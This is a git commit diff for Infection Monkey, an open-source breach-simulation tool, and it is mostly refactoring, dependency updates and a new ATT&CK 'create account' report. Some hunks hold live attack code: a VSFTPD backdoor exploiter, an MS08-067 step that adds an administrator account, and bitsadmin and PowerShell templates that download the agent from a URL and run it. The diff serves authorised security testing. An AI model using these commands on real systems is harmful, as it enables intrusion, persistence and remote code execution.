Merge remote-tracking branch 'upstream/develop' into monkey_telemetry_fabrication

# Conflicts:
#	envs/monkey_zoo/blackbox/island_client/monkey_island_client.py
#	envs/monkey_zoo/blackbox/test_blackbox.py
This commit is contained in:
VakarisZ 2020-05-07 12:15:43 +03:00
commit a98b348d24
128 changed files with 11161 additions and 7465 deletions

BIN
.github/attack-report.png vendored Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 198 KiB

BIN
.github/map-full.png vendored

Binary file not shown.

Before

Width:  |  Height:  |  Size: 80 KiB

After

Width:  |  Height:  |  Size: 162 KiB

BIN
.github/security-report.png vendored Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 122 KiB

BIN
.github/zero-trust-report.png vendored Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 194 KiB

3
.gitmodules vendored
View File

@ -1,3 +1,4 @@
[submodule "monkey/monkey_island/cc/services/attack/attack_data"]
path = monkey/monkey_island/cc/services/attack/attack_data
url = https://github.com/mitre/cti
url = https://github.com/guardicore/cti

View File

@ -36,7 +36,7 @@ script:
## Display the linter issues
- cat flake8_warnings.txt
## Make sure that we haven't increased the amount of warnings.
- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=190
- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=120
- if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
## Run unit tests
@ -53,7 +53,7 @@ script:
- cd -
- cd monkey_island/cc/ui
- eslint ./src --quiet
- JS_WARNINGS_AMOUNT_UPPER_LIMIT=37
- JS_WARNINGS_AMOUNT_UPPER_LIMIT=490
- eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT
after_success:

View File

@ -13,10 +13,6 @@ Welcome to the Infection Monkey!
The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server.
<img src=".github/map-full.png" >
<img src=".github/Security-overview.png" width="800" height="500">
The Infection Monkey is comprised of two parts:
* **Monkey** - A tool which infects other machines and propagates to them.
@ -24,6 +20,20 @@ The Infection Monkey is comprised of two parts:
To read more about the Monkey, visit [infectionmonkey.com](https://infectionmonkey.com).
## Screenshots
### Map
<img src=".github/map-full.png" width="800" height="600">
### Security report
<img src=".github/security-report.png" width="800" height="500">
### Zero trust report
<img src=".github/zero-trust-report.png" width="800" height="500">
### ATT&CK report
<img src=".github/attack-report.png" width="900" height="500">
## Main Features
The Infection Monkey uses the following techniques and exploits to propagate to other machines.
@ -40,6 +50,8 @@ The Infection Monkey uses the following techniques and exploits to propagate to
* Conficker
* SambaCry
* Elastic Search (CVE-2015-1427)
* Weblogic server
* and more
## Setup
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/).

View File

@ -2,7 +2,7 @@ FROM debian:stretch-slim
LABEL MAINTAINER="theonlydoo <theonlydoo@gmail.com>"
ARG RELEASE=1.6
ARG RELEASE=1.8.0
ARG DEBIAN_FRONTEND=noninteractive
EXPOSE 5000

View File

@ -1,4 +1,5 @@
import json
import logging
from time import sleep

View File

@ -1,8 +1,8 @@
import logging
import os
from time import sleep
import logging
import pytest
from time import sleep
from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer
from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser
@ -31,7 +31,6 @@ def GCPHandler(request):
def fin():
GCPHandler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST))
pass
request.addfinalizer(fin)

View File

@ -57,6 +57,3 @@ class TestOSCompatibility(object):
if len(ips_that_communicated) < len(machine_list):
assert False

View File

@ -4,7 +4,7 @@ from pathlib import Path
MAJOR = "1"
MINOR = "8"
PATCH = "0"
PATCH = "1"
build_file_path = Path(__file__).parent.joinpath("BUILD")
with open(build_file_path, "r") as build_file:
BUILD = build_file.read()

View File

@ -129,7 +129,7 @@ class VSFTPDExploiter(HostExploiter):
change_permission = str.encode(str(change_permission) + '\n')
LOG.info("change_permission command is %s", change_permission)
backdoor_socket.send(change_permission)
T1222Telem(ScanStatus.USED, change_permission, self.host).send()
T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
# Run monkey on the machine
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
@ -143,7 +143,7 @@ class VSFTPDExploiter(HostExploiter):
if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
self.host, run_monkey)
self.add_executed_cmd(run_monkey)
self.add_executed_cmd(run_monkey.decode())
return True
else:
return False

View File

@ -4,7 +4,6 @@ import time
import copy
from requests import post, exceptions
from http.server import BaseHTTPRequestHandler, HTTPServer
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.HostExploiter import HostExploiter

View File

@ -193,9 +193,9 @@ class Ms08_067_Exploiter(HostExploiter):
sock.send("cmd /c (net user {} {} /add) &&"
" (net localgroup administrators {} /add)\r\n".format(
self._config.user_to_add,
self._config.remote_user_pass,
self._config.user_to_add).encode())
self._config.user_to_add,
self._config.remote_user_pass,
self._config.user_to_add).encode())
time.sleep(2)
reply = sock.recv(1000)

View File

@ -14,10 +14,10 @@ MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,)
MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,)
MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
'/c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,)
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
'file_path)s exit)) > NUL 2>&1 '
MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s' \
'&cmd /c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,)
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & ' \
'if not exist %(file_path)s exit)) > NUL 2>&1 '
# Commands used for downloading monkeys
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \

View File

@ -51,18 +51,15 @@ if is_windows_os():
local_hostname = socket.gethostname()
return socket.gethostbyname_ex(local_hostname)[2]
def get_routes():
raise NotImplementedError()
else:
from fcntl import ioctl
def local_ips():
valid_ips = [network['addr'] for network in get_host_subnets()]
return valid_ips
def get_routes(): # based on scapy implementation for route parsing
try:
f = open("/proc/net/route", "r")

View File

@ -7,7 +7,6 @@ import sys
import infection_monkey.config
from infection_monkey.network.HostFinger import HostFinger
from infection_monkey.network.HostScanner import HostScanner
from infection_monkey.model.host import VictimHost
__author__ = 'itamar'

View File

@ -9,7 +9,11 @@ git+https://github.com/guardicore/pyinstaller
ecdsa
netifaces
ipaddress
wmi
# Locking WMI since version 1.5 introduced breaking change on Linux agent compilation.
# See breaking change here: https://github.com/tjguk/wmi/commit/dcf8e3eca79bb8c0101ffb83e25c066b0ba9e16d
# Causes pip to error with:
# Could not find a version that satisfies the requirement pywin32 (from wmi->-r /src/infection_monkey/requirements.txt (line 12)) (from versions: none)
wmi==1.4.9
pywin32 ; sys_platform == 'win32'
pymssql<3.0
pyftpdlib

View File

@ -1,5 +1,4 @@
import logging
import socket
import sys
import psutil

View File

@ -17,12 +17,16 @@ class BaseTelem(object, metaclass=abc.ABCMeta):
def __init__(self):
pass
def send(self):
def send(self, log_data=True):
"""
Sends telemetry to island
"""
data = self.get_data()
logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data)))
if log_data:
data_to_log = json.dumps(data)
else:
data_to_log = 'redacted'
logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, data_to_log))
ControlClient.send_telemetry(self.telem_category, data)
@property

View File

@ -17,3 +17,6 @@ class SystemInfoTelem(BaseTelem):
def get_data(self):
return self.system_info
def send(self, log_data=False):
super(SystemInfoTelem, self).send(log_data)

View File

@ -1,3 +1 @@
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
__author__ = 'hoffer'

View File

@ -73,7 +73,6 @@ class AutoNewWindowsUser(AutoNewUser):
def run_as(self, command):
# Importing these only on windows, as they won't exist on linux.
import win32con
import win32process
import win32api
import win32event

View File

@ -46,4 +46,3 @@ class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler):
@staticmethod
def get_bootloader_resource_url(server_ip):
return "https://" + server_ip + ":" + str(Environment._ISLAND_PORT) + "/api/bootloader/"

View File

@ -1,7 +1,7 @@
from abc import ABCMeta, abstractmethod
from datetime import timedelta
import os
from Crypto.Hash import SHA3_512
import hashlib
__author__ = 'itay.mizeretz'
@ -45,10 +45,11 @@ class Environment(object, metaclass=ABCMeta):
def get_auth_expiration_time(self):
return self._AUTH_EXPIRATION_TIME
def hash_secret(self, secret):
h = SHA3_512.new()
h.update(secret)
return h.hexdigest()
@staticmethod
def hash_secret(secret):
hash_obj = hashlib.sha3_512()
hash_obj.update(secret.encode('utf-8'))
return hash_obj.hexdigest()
def get_deployment(self):
return self._get_from_config('deployment', 'unknown')

View File

@ -0,0 +1,25 @@
from monkey_island.cc.auth import User
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
from monkey_island.cc.environment.aws import AwsEnvironment
import hashlib
class TestAwsEnvironment(IslandTestCase):
def test_get_auth_users(self):
env = AwsEnvironment()
# This is "injecting" the instance id to the env. This is the UTs aren't always executed on the same AWS machine
# (might not be an AWS machine at all).
# Perhaps it would have been more elegant to create a Mock, but not worth it for
# this small test.
env._instance_id = "i-666"
hash_obj = hashlib.sha3_512()
hash_obj.update(b"i-666")
auth_users = env.get_auth_users()
assert isinstance(auth_users, list)
assert len(auth_users) == 1
auth_user = auth_users[0]
assert isinstance(auth_user, User)
assert auth_user.id == 1
assert auth_user.username == "monkey"
assert auth_user.secret == hash_obj.hexdigest()

View File

@ -31,7 +31,7 @@ from monkey_island.cc.bootloader_server import BootloaderHttpServer
from monkey_island.cc.setup import setup
def main(should_setup_only):
def main(should_setup_only=False):
logger.info("Starting bootloader server")
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
bootloader_server_thread = Thread(target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True)

View File

@ -12,9 +12,9 @@ else:
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
# Order of importing matters here, for registering the embedded and referenced documents before using them.
from .config import Config
from .creds import Creds
from .monkey_ttl import MonkeyTtl
from .pba_results import PbaResults
from .command_control_channel import CommandControlChannel
from .monkey import Monkey
from .config import Config # noqa: F401
from .creds import Creds # noqa: F401
from .monkey_ttl import MonkeyTtl # noqa: F401
from .pba_results import PbaResults # noqa: F401
from .command_control_channel import CommandControlChannel # noqa: F401
from .monkey import Monkey # noqa: F401

View File

@ -16,4 +16,3 @@ class Mitigation(EmbeddedDocument):
description = mitigation['description']
url = MitreApiInterface.get_stix2_external_reference_url(mitigation)
return Mitigation(name=name, description=description, url=url)

View File

@ -13,8 +13,8 @@ logger = logging.getLogger(__name__)
class TestMonkey(IslandTestCase):
"""
Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and
won't work.
Make sure to set server environment to `testing` in server_config.json!
Otherwise this will mess up your mongo instance and won't work.
Also, the working directory needs to be the working directory from which you usually run the island so the
server_config.json file is found and loaded.

View File

@ -33,7 +33,8 @@ class TestFinding(IslandTestCase):
event_example = Event.create_event(
title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)
Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, events=[event_example])
Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION,
status=zero_trust_consts.STATUS_FAILED, events=[event_example])
self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1)
self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1)

View File

@ -1,7 +1,6 @@
from unittest import TestCase
from monkey_island.cc.resources.bootloader import Bootloader
from monkey_island.cc.services.utils.bootloader_config import SUPPORTED_WINDOWS_VERSIONS
class TestBootloader(TestCase):

View File

@ -1,4 +1,3 @@
from flask import request
import flask_restful
from monkey_island.cc.auth import jwt_required

View File

@ -120,7 +120,7 @@ class AttackConfig(object):
def set_bool_conf_val(path, val, monkey_config):
"""
Changes monkey's configuration by setting one of its boolean fields value
:param path: Path to boolean value in monkey's configuration. E.g. ['monkey', 'system_info', 'should_use_mimikatz']
:param path: Path to boolean value in monkey's configuration. ['monkey', 'system_info', 'should_use_mimikatz']
:param val: Boolean
:param monkey_config: Monkey's configuration
"""
@ -183,5 +183,5 @@ class AttackConfig(object):
techniques = {}
for type_name, attack_type in list(attack_config.items()):
for key, technique in list(attack_type['properties'].items()):
techniques[key] = {'selected': technique['value'], 'type': SCHEMA['properties'][type_name]['title']}
techniques[key] = {'selected': technique['value'], 'type': SCHEMA['properties'][type_name]['title']}
return techniques

@ -1 +1 @@
Subproject commit c139e37bdc51acbc7d0488a5be48553caffdbbd7
Subproject commit fb8942b1a10f4e734ed75542f2ccae7cbd72c46d

View File

@ -4,6 +4,7 @@ from monkey_island.cc.models import Monkey
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082
from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188
from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064
from monkey_island.cc.services.attack.technique_reports import T1136
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_attack_report
@ -35,7 +36,8 @@ TECHNIQUES = {'T1210': T1210.T1210,
'T1018': T1018.T1018,
'T1016': T1016.T1016,
'T1021': T1021.T1021,
'T1064': T1064.T1064
'T1064': T1064.T1064,
'T1136': T1136.T1136
}
REPORT_NAME = 'new_report'

View File

@ -289,6 +289,22 @@ SCHEMA = {
"description": "Data exfiltration is performed over the Command and Control channel."
}
}
},
"persistence": {
"title": "Persistence",
"type": "object",
"link": "https://attack.mitre.org/tactics/TA0003/",
"properties": {
"T1136": {
"title": "Create account",
"type": "bool",
"value": True,
"necessary": False,
"link": "https://attack.mitre.org/techniques/T1136",
"description": "Adversaries with a sufficient level of access "
"may create a local system, domain, or cloud tenant account."
}
}
}
}
}

View File

@ -1,6 +1,6 @@
from typing import List, Dict
from stix2 import FileSystemSource, Filter, CourseOfAction, AttackPattern, v20
from stix2 import FileSystemSource, Filter, CourseOfAction, AttackPattern
class MitreApiInterface:
@ -32,14 +32,14 @@ class MitreApiInterface:
return all_techniques
@staticmethod
def get_stix2_external_reference_id(stix2_data: v20._DomainObject) -> str:
def get_stix2_external_reference_id(stix2_data) -> str:
for reference in stix2_data['external_references']:
if reference['source_name'] == "mitre-attack" and 'external_id' in reference:
return reference['external_id']
return ''
@staticmethod
def get_stix2_external_reference_url(stix2_data: v20._DomainObject) -> str:
def get_stix2_external_reference_url(stix2_data) -> str:
for reference in stix2_data['external_references']:
if 'url' in reference:
return reference['url']

View File

@ -0,0 +1,38 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from monkey_island.cc.services.reporting.report import ReportService
from common.utils.attack_utils import ScanStatus
from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER
__author__ = "shreyamalviya"
class T1136(AttackTechnique):
tech_id = "T1136"
unscanned_msg = "Monkey didn't try creating a new user on the network's systems."
scanned_msg = "Monkey tried creating a new user on the network's systems, but failed."
used_msg = "Monkey created a new user on the network's systems."
@staticmethod
def get_report_data():
data = {'title': T1136.technique_title()}
scanned_nodes = ReportService.get_scanned()
status = ScanStatus.UNSCANNED.value
for node in scanned_nodes:
if node['pba_results'] != 'None':
for pba in node['pba_results']:
if pba['name'] in [POST_BREACH_BACKDOOR_USER,
POST_BREACH_COMMUNICATE_AS_NEW_USER]:
status = ScanStatus.USED.value if pba['result'][1]\
else ScanStatus.SCANNED.value
data.update({
'info': [{
'machine': {
'hostname': pba['hostname'],
'ips': node['ip_addresses'],
},
'result': ': '.join([pba['name'], pba['result'][0]])
}]
})
data.update(T1136.get_message_and_status(status))
return data

View File

@ -5,7 +5,7 @@ from monkey_island.cc.database import mongo
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.attack_config import AttackConfig
from common.utils.code_utils import abstractstatic
from cc.models.attack.attack_mitigations import AttackMitigations
from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations
logger = logging.getLogger(__name__)
@ -129,4 +129,3 @@ class AttackTechnique(object, metaclass=abc.ABCMeta):
return {'mitigations': mitigation_document.to_mongo().to_dict()['mitigations']}
else:
return {}

View File

@ -32,4 +32,3 @@ class TestBootloaderService(TestCase):
ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"]
ips = BootloaderService.remove_local_ips(ips)
self.assertEqual(["192.168.56.1"], ips)

View File

@ -130,7 +130,7 @@ SCHEMA = {
"title": "Collect the machine's hostname",
"attack_techniques": []
},
{
{
"type": "string",
"enum": [
PROCESS_LIST_COLLECTOR
@ -140,7 +140,7 @@ SCHEMA = {
},
],
},
"post_breach_acts": {
"post_breach_actions": {
"title": "Post breach actions",
"type": "string",
"anyOf": [
@ -150,7 +150,7 @@ SCHEMA = {
"BackdoorUser"
],
"title": "Back door user",
"attack_techniques": []
"attack_techniques": ["T1136"]
},
{
"type": "string",
@ -158,7 +158,7 @@ SCHEMA = {
"CommunicateAsNewUser"
],
"title": "Communicate as new user",
"attack_techniques": []
"attack_techniques": ["T1136"]
},
],
},
@ -375,9 +375,10 @@ SCHEMA = {
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/post_breach_acts"
"$ref": "#/definitions/post_breach_actions"
},
"default": [
"BackdoorUser",
"CommunicateAsNewUser"
],
"description": "List of actions the Monkey will run post breach"

View File

@ -411,5 +411,6 @@ class NodeService:
def get_hostname_by_id(node_id):
return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1}))
class NodeCreationException(Exception):
pass

View File

@ -101,4 +101,3 @@ def process_mimikatz_and_wmi_info(telemetry_json):
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
wmi_handler.process_and_handle_wmi_info()

View File

@ -9,4 +9,3 @@ SUPPORTED_WINDOWS_VERSIONS = {
"windows7_sp1": True,
"windows8_or_greater": True,
}

View File

@ -11,5 +11,3 @@ class TestNodeGroups(TestCase):
self.assertEqual(NodeStates.get_by_keywords(['monkey', 'linux', 'running']), NodeStates.MONKEY_LINUX_RUNNING)
with self.assertRaises(NoGroupsFoundException):
NodeStates.get_by_keywords(['bogus', 'values', 'from', 'long', 'list', 'should', 'fail'])

View File

@ -1,10 +1,15 @@
{
"presets": [
"es2015",
"stage-0",
"react"
[
"@babel/preset-env",
{
"useBuiltIns": "entry"
}
],
"@babel/preset-react"
],
"plugins": [
"emotion"
"emotion",
"@babel/plugin-proposal-class-properties"
]
}

View File

@ -3,11 +3,25 @@
"plugins": [
"react"
],
"extends": [
"eslint:recommended",
"plugin:react/recommended"
],
"parserOptions": {
"ecmaVersion": 6,
"sourceType": "module",
"allowImportExportEverywhere": false,
"ecmaFeatures": {
"jsx": true
"jsx": true,
"globalReturn": false
},
"babelOptions": {
"configFile": ".babelrc"
}
},
"settings": {
"react": {
"version": "detect"
}
},
"env": {
@ -25,9 +39,8 @@
],
"no-undef": 1,
"global-strict": 0,
"no-extra-semi": 1,
"no-underscore-dangle": 0,
"no-console": 1,
"no-console": 0,
"no-unused-vars": 1,
"no-trailing-spaces": [
1,
@ -38,6 +51,14 @@
"no-unreachable": 1,
"no-alert": 0,
"react/jsx-uses-react": 1,
"react/jsx-uses-vars": 1
"react/jsx-uses-vars": 1,
"react/jsx-key": 1,
"react/prop-types": 1,
"react/no-unescaped-entities": 1,
"react/no-unknown-property": [1, { "ignore": ["class"] }],
"react/no-string-refs": 1,
"react/display-name": 1,
"no-useless-escape": 1,
"no-prototype-builtins": 1
}
}

File diff suppressed because it is too large Load Diff

View File

@ -21,23 +21,23 @@
"repository": "",
"keywords": [],
"author": "Guardicore",
"browserslist": "> 0.25%, not dead",
"devDependencies": {
"babel-cli": "^6.26.0",
"babel-core": "^6.26.3",
"babel-eslint": "^8.2.6",
"babel-loader": "^7.1.5",
"babel-polyfill": "^6.26.0",
"babel-preset-env": "^1.7.0",
"babel-preset-es2015": "^6.24.1",
"babel-preset-react": "^6.24.1",
"babel-preset-stage-0": "^6.5.0",
"bower-webpack-plugin": "^0.1.9",
"@babel/cli": "^7.8.4",
"@babel/core": "^7.9.6",
"@babel/plugin-proposal-class-properties": "^7.8.3",
"@babel/plugin-transform-runtime": "^7.9.6",
"@babel/preset-env": "^7.9.6",
"@babel/preset-react": "^7.9.0",
"@babel/runtime": "^7.9.6",
"babel-eslint": "^10.1.0",
"babel-loader": "^8.0.0",
"chai": "^4.2.0",
"copyfiles": "^2.1.1",
"css-loader": "^1.0.1",
"eslint": "^5.16.0",
"eslint-loader": "^2.2.1",
"eslint-plugin-react": "^7.16.0",
"copyfiles": "^2.2.0",
"css-loader": "^3.5.0",
"eslint": "^6.8.0",
"eslint-loader": "^4.0.1",
"eslint-plugin-react": "^7.19.0",
"file-loader": "^1.1.11",
"glob": "^7.1.6",
"html-loader": "^0.5.5",
@ -50,21 +50,22 @@
"karma-phantomjs-launcher": "^1.0.0",
"karma-sourcemap-loader": "^0.3.5",
"karma-webpack": "^3.0.5",
"minimist": "^1.2.0",
"minimist": "^1.2.5",
"mocha": "^5.2.0",
"null-loader": "^0.1.1",
"phantomjs-prebuilt": "^2.1.16",
"react-addons-test-utils": "^15.6.2",
"react-event-timeline": "^1.6.3",
"react-hot-loader": "^4.12.18",
"react-hot-loader": "^4.12.20",
"rimraf": "^2.7.1",
"style-loader": "^0.22.1",
"url-loader": "^1.1.2",
"webpack": "^4.41.2",
"webpack-cli": "^3.3.10",
"webpack-dev-server": "^3.9.0"
"webpack": "^4.43.0",
"webpack-cli": "^3.3.11",
"webpack-dev-server": "^3.10.3"
},
"dependencies": {
"@babel/polyfill": "^7.8.0",
"@emotion/core": "^10.0.22",
"@fortawesome/fontawesome-svg-core": "^1.2.25",
"@fortawesome/free-regular-svg-icons": "^5.11.2",
@ -110,6 +111,7 @@
"react-tooltip-lite": "^1.10.0",
"redux": "^4.0.4",
"sass-loader": "^7.3.1",
"sha3": "^2.0.7"
"sha3": "^2.0.7",
"stylelint": "^13.3.3"
}
}

View File

@ -1,9 +1,9 @@
/*eslint no-console:0 */
'use strict';
require('core-js/fn/object/assign');
const webpack = require('webpack');
const WebpackDevServer = require('webpack-dev-server');
const config = require('./webpack.config');
import assign from 'core-js/fn/object'
import webpack from 'webpack'
import WebpackDevServer from 'webpack-dev-server'
import config from './webpack.config'
/**
* Flag indicating whether webpack compiled for the first time.

View File

@ -2,7 +2,8 @@ import React from 'react';
import {BrowserRouter as Router, NavLink, Redirect, Route, Switch} from 'react-router-dom';
import {Col, Grid, Row} from 'react-bootstrap';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
import { faCheck, faUndo } from '@fortawesome/free-solid-svg-icons'
import { faCheck } from '@fortawesome/free-solid-svg-icons/faCheck'
import { faUndo } from '@fortawesome/free-solid-svg-icons/faUndo'
import RunServerPage from 'components/pages/RunServerPage';
import ConfigurePage from 'components/pages/ConfigurePage';
@ -25,10 +26,10 @@ import 'react-toggle/style.css';
import 'react-table/react-table.css';
import VersionComponent from './side-menu/VersionComponent';
let logoImage = require('../images/monkey-icon.svg');
let infectionMonkeyImage = require('../images/infection-monkey.svg');
let guardicoreLogoImage = require('../images/guardicore-logo.png');
let notificationIcon = require('../images/notification-logo-512x512.png');
import logoImage from '../images/monkey-icon.svg';
import infectionMonkeyImage from '../images/infection-monkey.svg';
import guardicoreLogoImage from '../images/guardicore-logo.png';
import notificationIcon from '../images/notification-logo-512x512.png';
const reportZeroTrustRoute = '/report/zeroTrust';
@ -125,7 +126,7 @@ class AppComponent extends AuthComponent {
<Row>
<Col sm={3} md={2} className='sidebar'>
<div className='header'>
<img src={logoImage} style={{width: '5vw', margin: '15px'}}/>
<img alt="logo" src={logoImage} style={{width: '5vw', margin: '15px'}}/>
<img src={infectionMonkeyImage} style={{width: '15vw'}} alt='Infection Monkey'/>
</div>
@ -188,7 +189,7 @@ class AppComponent extends AuthComponent {
<hr/>
<div className='guardicore-link text-center' style={{'marginBottom': '0.5em'}}>
<span>Powered by</span>
<a href='http://www.guardicore.com' target='_blank'>
<a href='http://www.guardicore.com' rel="noopener noreferrer" target='_blank'>
<img src={guardicoreLogoImage} alt='GuardiCore'/>
</a>
</div>

View File

@ -8,8 +8,8 @@ import '../../styles/Tooltip.scss';
import {Col} from 'react-bootstrap';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { faCircle as faCircle } from '@fortawesome/free-solid-svg-icons';
import { faCircle as faCircleThin } from '@fortawesome/free-regular-svg-icons';
import { faCircle as faCircle } from '@fortawesome/free-solid-svg-icons/faCircle';
import { faCircle as faCircleThin } from '@fortawesome/free-regular-svg-icons/faCircle';
class ConfigMatrixComponent extends AuthComponent {
constructor(props) {

View File

@ -49,7 +49,7 @@ class MitigationsComponent extends React.Component {
static getMitigationName(name, url) {
if(url){
return (<a href={url} target={'_blank'}>{name}</a>)
return (<a href={url} rel="noopener noreferrer" target={'_blank'}>{name}</a>)
} else {
return (<p>{name}</p>)
}

View File

@ -0,0 +1,43 @@
import React from 'react';
import ReactTable from 'react-table';
import {renderMachineFromSystemData, ScanStatus} from './Helpers'
class T1136 extends React.Component {
constructor(props) {
super(props);
}
static getColumns() {
return ([{
columns: [
{ Header: 'Machine',
id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}},
{ Header: 'Result',
id: 'result',
accessor: x => x.result,
style: {'whiteSpace': 'unset'}}
]
}])
}
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === ScanStatus.USED ?
<ReactTable
columns={T1136.getColumns()}
data={this.props.data.info}
showPagination={false}
defaultPageSize={this.props.data.info.length}
/> : ''}
</div>
);
}
}
export default T1136;

View File

@ -1,6 +1,6 @@
import React from 'react';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
import { faHandPointLeft } from '@fortawesome/free-solid-svg-icons'
import { faHandPointLeft } from '@fortawesome/free-solid-svg-icons/faHandPointLeft'
import Toggle from 'react-toggle';
import {OverlayTrigger, Tooltip} from 'react-bootstrap';
import download from 'downloadjs'

View File

@ -346,8 +346,8 @@ class ConfigurePageComponent extends AuthComponent {
throw Error()
}
return res;
}).catch(error => {
console.log('bad configuration');
}).catch((error) => {
console.log(`bad configuration ${error}`);
this.setState({lastAction: 'invalid_configuration'});
}));
}

View File

@ -21,10 +21,10 @@ class LicensePageComponent extends React.Component {
<p>
Copyright <i className="glyphicon glyphicon-copyright-mark"/> {rainge(2015)} Guardicore Ltd.
<br/>
Licensed under <a href="https://www.gnu.org/licenses/gpl-3.0.html" target="_blank">GPLv3</a>.
Licensed under <a href="https://www.gnu.org/licenses/gpl-3.0.html" rel="noopener noreferrer" target="_blank">GPLv3</a>.
</p>
<p>
The source code is available on <a href="https://github.com/guardicore/monkey" target="_blank">GitHub</a>
The source code is available on <a href="https://github.com/guardicore/monkey" rel="noopener noreferrer" target="_blank">GitHub</a>
</p>
</div>
</Col>

View File

@ -2,7 +2,8 @@ import React from 'react';
import {Col, Modal} from 'react-bootstrap';
import {Link} from 'react-router-dom';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'
import { faStopCircle, faMinus } from '@fortawesome/free-solid-svg-icons'
import { faStopCircle } from '@fortawesome/free-solid-svg-icons/faStopCircle'
import { faMinus } from '@fortawesome/free-solid-svg-icons/faMinus'
import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {getOptions, edgeGroupToColor} from 'components/map/MapOptions';

View File

@ -2,7 +2,7 @@ import React from 'react';
import '../../styles/NotFoundPage.scss';
let monkeyDetective = require('../../images/detective-monkey.svg');
import monkeyDetective from '../../images/detective-monkey.svg';
class ConfigurePageComponent extends React.Component{
constructor(props) {
@ -12,7 +12,7 @@ class ConfigurePageComponent extends React.Component{
render(){
return(
<div className={'not-found'}>
<img className={'monkey-detective'} src={monkeyDetective}/>
<img alt="404 monkey image" className={'monkey-detective'} src={monkeyDetective}/>
<div className={'text-block'}>
<h1 className={'not-found-title'}>404</h1>
<h2 className={'not-found-subtitle'}>Page not found</h2>

View File

@ -5,12 +5,16 @@ import CopyToClipboard from 'react-copy-to-clipboard';
import GridLoader from 'react-spinners/GridLoader';
